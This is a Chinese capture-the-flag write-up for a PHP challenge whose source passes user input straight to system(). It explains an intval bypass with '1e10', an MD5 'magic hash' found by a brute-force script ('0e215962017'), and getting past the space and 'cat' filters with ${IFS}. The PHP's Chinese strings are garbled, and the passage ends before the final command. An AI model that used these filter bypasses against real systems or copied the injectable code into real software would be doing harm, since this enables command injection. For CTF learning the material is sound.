前言:Dirsearch扫一下就有发现robots.txt文件。这题还是比较简单的。
解题:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
鍘婚潪娲插惂
我这乱码了不过无伤大雅。
绕过第一个if条件:intval这个函数还是存在漏洞的。
echo intval(1e10); // 1410065408
echo intval(‘1e10’); // 1
那我们构造成num=1e10不就好了,在PHP中+号会被判定成把他强制转换成科学计数法进行计算 而不是一个字符串+1。
第二个if的话:
写个脚本求一个字符串oe开头被md5加密之后还是以0e开头的字符串:0e215962017
#coding:utf-8
import hashlib
for i in range(0,20**44):
i='0e'+str(i)
md5=hashlib.md5(i.encode()).hexdigest()#把得到的md5加密之后的16进制转换成字符串
if md5[:2]=='0e' and md5[2:].isdigit():# [:]做切片:md5[:2]取前两个字符,md5[2:]:从第二个到最后一个字符是不是都是数字。
print('md5:{}'.format(i))
break
第三个if:过滤了空格和cat,这里我用的${IFS}。
要是cat被过滤
这里先ls看一眼目录